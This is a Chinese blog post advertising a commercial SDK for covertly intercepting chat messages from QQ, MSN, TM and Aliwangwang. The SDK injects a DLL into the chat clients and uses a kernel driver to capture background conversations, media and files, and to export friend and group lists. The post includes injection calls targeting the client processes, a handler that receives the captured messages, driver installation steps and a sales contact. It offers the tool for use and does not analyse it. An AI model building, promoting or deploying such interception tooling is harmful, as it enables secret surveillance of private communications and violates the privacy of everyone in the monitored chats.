近期把所有聊天相关模块进行了整合,整合到一个dll中,并对代码进行了大量的重构和优化,另外就是一些新的功能,目前情况如下:
【技术特点】
1.采用技术方案为hook方式,非不可靠的硬编码、非不负责任的读内存方式。
2.考虑便于维护的技术方案,不会随qq变更而需要大作改动,类似以前版本的SaveMsg方案。
3.支持后台聊天记录即不打开聊天窗口即可记录聊天记录。
4.支持图片、表情、语音、文件传输以及图文混排复杂消息记录(难点),可以显示为与消息管理器同样效果,即与你在历史聊天记录里看到的是一样的效果(图文并茂)。
5.支持QQ好友列表后台导出,群列表后台导出。
6.兼容32位64位,包含从应用层到驱动层,是一整套完整的方案。
7.商业代码,与技术代码有本质的区别,有经验的同行应该都了解,从技术到产品是有一段很长的距离的,我们的SDK一个api,封装完善,调用一下即可,完全傻瓜化。
8.稳定的框架和技术沉淀,代码从08年到现在已经经过了5年的沉淀。
【目前功能】
支持QQ2008~QQ5.2所有版本,支持MSN、支持阿里旺旺所有版本,包括阿里旺旺买家版本、阿里旺旺卖家版、贸易通、阿里旺旺国际版中国站版本的聊天内容截获,支持QQ所有版本的好友列表、群列表后台导出。
QQ:627660966
【更新历史】
20140321更新
1.新增好友、群列表导出SDK调用接口。
20140319更新
1.加入了阿里旺旺买家版、卖家版、国际版中国站版、贸易通支持,同时对中文以及英文版做了兼容处理。
20140220更新
1.加入腾讯TM支持,并对旧版本做了兼容。
20140217更新
1.解决了某种特殊情况下导致崩溃问题。
2.加固程序稳定性,并对程序进行了稳定性测试,测试在1000个群环境下稳定运行7*24小时无退出。
20140127更新
1.增加讨论组支持。
2.增加好友列表、群列表导出功能。
3.解决部分群昵称不显示问题。
4.解决部分好友昵称不显示问题。
.
.
.
省去之前多次更新
【调用方式】
一、应用层
应用层包含了两部分内容,DllInjector和im32.dll。
其中DllInjector是注入器,IM32.dll是截获聊天内容的核心dll,两者通过消息方式进行通信。
IM32.DLL通过WM_COPYDATA消息将截获的消息发送到DllInjector程序,因此往往需要编写一个窗口程序,能够接收IM32.DLL发来的WM_COPYDATA消息,功能与DllInjector雷同。
窗口符合以下特点:
定义一个全局变量:long g_WindowData = 2234654;
然后在接收消息的窗口设置属性
LRESULT CMainDlg::OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/)
{
SetWindowLongPtr(GWLP_USERDATA,g_WindowData);//im32.dll靠这个变量来查找目标发送窗体
//开启监控进程来自libinject.dll,导出函数原型见下方
//extern "C" __declspec(dllexport) int StartMonitorEx(wchar_t* ProcessName,wchar_t* DllName);
StartMonitorEx(L"QQ.exe", L"c:\\im32.dll");
StartMonitorEx(L"msnmsgr.exe", L"c:\\im32.dll");
StartMonitorEx(L"TM.exe" L"c:\\im32.dll");
StartMonitorEx(L"AliIM.exe", L"c:\\im32.dll");
}
引入头文件DataPack.h
LRESULT CMainDlg::OnCopyData(UINT /*uMsg*/, WPARAM wParam, LPARAM lParam, BOOL& /*bHandled*/)
{
PCOPYDATASTRUCT pMyCDS = (PCOPYDATASTRUCT) lParam;
if(pMyCDS)
{
DATA_PACK* pData = (DATA_PACK*)(pMyCDS->lpData);
if(pData)
{
if(!pData->dwFlag==0x1234)
return 0;
if(wcsicmp(pData->szMsgType,L"msg")==0)
{
MSG_DATA* pMsgData = (MSG_DATA*)(pMyCDS->lpData);
int nItem = m_ListMSG.InsertItem(m_ListMSG.GetItemCount(),pMsgData->szIMType);
m_ListMSG.SetItemText(nItem,1,pMsgData->szTime);
m_ListMSG.SetItemText(nItem,2,pMsgData->bSender?L"-->":L"<--");
m_ListMSG.SetItemText(nItem,3,pMsgData->szMsgSubType);
m_ListMSG.SetItemText(nItem,4,pMsgData->szCurrentAccount);
m_ListMSG.SetItemText(nItem,5,pMsgData->szCurrentNickName);
m_ListMSG.SetItemText(nItem,6,pMsgData->szSenderAccount);
m_ListMSG.SetItemText(nItem,7,pMsgData->szSenderNickName);
m_ListMSG.SetItemText(nItem,8,pMsgData->szPeerAccount);
m_ListMSG.SetItemText(nItem,9,pMsgData->szPeerNickName);
m_ListMSG.SetItemText(nItem,10,pMsgData->szContent);
}
if(wcsicmp(pData->szMsgType,L"contact")==0)
{
CONTACT_DATA* pContactData=(CONTACT_DATA*)(pMyCDS->lpData);
int nItem = m_ListContact.InsertItem(m_ListMSG.GetItemCount(),pContactData->szIMType);
m_ListContact.SetItemText(nItem,1,pContactData->szMsgSubType);
m_ListContact.SetItemText(nItem,2,pContactData->szCurrentAccount);
m_ListContact.SetItemText(nItem,3,pContactData->szCurrentNickName);
m_ListContact.SetItemText(nItem,4,pContactData->szParentId);
m_ListContact.SetItemText(nItem,5,pContactData->szParentValue);
m_ListContact.SetItemText(nItem,6,pContactData->szChildId);
m_ListContact.SetItemText(nItem,7,pContactData->szChildValue);
}
}
}
return 0;
}
二、驱动层
32位系统下如果需要监控qq的话,需要安装驱动。
1.复制im32drv86.sys、im32.dll到c:\windows\system32\drivers\下。
2.双击im32drv86.reg,安装驱动(SDK以代码形式写入注册表效果相同)。
3.双击config.reg,初始化驱动(SDK以代码形式写入注册表效果相同)。
4.重启系统进行测试。
应用层与驱动层互不冲突,互不依赖,仅仅是两层保障,驱动层只是为了注入qq。
QQ:627660966
最后上一张截图(上面是聊天信息,下面是好友和群组列表):
原文:http://blog.csdn.net/nengx/article/details/21744711